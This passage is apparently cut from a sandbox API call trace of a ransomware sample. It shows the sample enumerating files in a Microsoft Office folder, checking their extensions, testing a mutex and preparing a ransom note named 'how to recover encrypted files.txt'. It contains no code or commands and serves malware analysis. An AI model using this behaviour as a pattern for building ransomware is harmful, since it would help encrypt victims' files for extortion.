cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXTL") returned 34 [0048.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", cchWideChar=105, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpUsedDefaultChar=0x0) returned 105 [0048.101] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0048.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpUsedDefaultChar=0x0) returned 4 [0048.102] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="PROMOI~1.DLL")) returned 1 [0048.102] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.102] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.102] GlobalLock (hMem=0x440004) returned 0x555860 [0048.102] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.102] GlobalUnlock (hMem=0x440004) returned 0 [0048.102] GlobalLock (hMem=0x440004) returned 0x555860 [0048.102] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.102] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.102] GlobalUnlock (hMem=0x440004) returned 0 [0048.102] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.102] GlobalUnlock (hMem=0x44000c) returned 0 [0048.102] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.102] CharLowerBuffW (in: lpsz="promointl.dll", cchLength=0xd | out: lpsz="promointl.dll") returned 0xd [0048.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtLTL") returned 34 [0048.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll", cchWideChar=106, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dllT", lpUsedDefaultChar=0x0) returned 106 [0048.103] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0048.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dllT", lpUsedDefaultChar=0x0) returned 4 [0048.103] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1 [0048.103] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.103] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.103] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.103] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.103] GlobalUnlock (hMem=0x44000c) returned 0 [0048.103] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.103] GlobalLock (hMem=0x440004) returned 0x557870 [0048.103] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.103] GlobalUnlock (hMem=0x44000c) returned 0 [0048.103] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.103] GlobalUnlock (hMem=0x440004) returned 0 [0048.103] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.104] CharLowerBuffW (in: lpsz="PSCONFIG.CHM", cchLength=0xc | out: lpsz="psconfig.chm") returned 0xc [0048.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt汬TL") returned 34 [0048.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", cchWideChar=105, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHMlT", lpUsedDefaultChar=0x0) returned 105 [0048.104] CharLowerBuffW (in: lpsz=".CHM", cchLength=0x4 | out: lpsz=".chm") returned 0x4 [0048.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".chm", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".chmShared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHMlT", lpUsedDefaultChar=0x0) returned 4 [0048.104] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0048.104] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.104] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.104] GlobalLock (hMem=0x440004) returned 0x555860 [0048.105] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.105] GlobalUnlock (hMem=0x440004) returned 0 [0048.105] GlobalLock (hMem=0x440004) returned 0x555860 [0048.105] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.105] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.105] GlobalUnlock (hMem=0x440004) returned 0 [0048.105] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.105] GlobalUnlock (hMem=0x44000c) returned 0 [0048.105] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.105] CharLowerBuffW (in: lpsz="PSS10O.CHM", cchLength=0xa | out: lpsz="pss10o.chm") returned 0xa [0048.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt汍TL") returned 34 [0048.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", cchWideChar=103, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpUsedDefaultChar=0x0) returned 103 [0048.105] CharLowerBuffW (in: lpsz=".CHM", cchLength=0x4 | out: lpsz=".chm") returned 0x4 [0048.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".chm", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".chmShared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpUsedDefaultChar=0x0) returned 4 [0048.106] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0048.106] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.106] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.106] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.106] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.106] GlobalUnlock (hMem=0x44000c) returned 0 [0048.106] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.106] GlobalLock (hMem=0x440004) returned 0x557870 [0048.106] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.106] GlobalUnlock (hMem=0x44000c) returned 0 [0048.106] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.106] GlobalUnlock (hMem=0x440004) returned 0 [0048.106] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.106] CharLowerBuffW (in: lpsz="PSS10R.CHM", cchLength=0xa | out: lpsz="pss10r.chm") returned 0xa [0048.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.107] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt汍TL") returned 34 [0048.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", cchWideChar=103, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpUsedDefaultChar=0x0) returned 103 [0048.107] CharLowerBuffW (in: lpsz=".CHM", cchLength=0x4 | out: lpsz=".chm") returned 0x4 [0048.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".chm", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".chmShared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpUsedDefaultChar=0x0) returned 4 [0048.107] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0048.107] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.107] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.107] GlobalLock (hMem=0x440004) returned 0x555860 [0048.107] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.107] GlobalUnlock (hMem=0x440004) returned 0 [0048.107] GlobalLock (hMem=0x440004) returned 0x555860 [0048.107] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.107] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.107] GlobalUnlock (hMem=0x440004) returned 0 [0048.107] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.107] GlobalUnlock (hMem=0x44000c) returned 0 [0048.107] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.107] CharLowerBuffW (in: lpsz="SETUP.CHM", 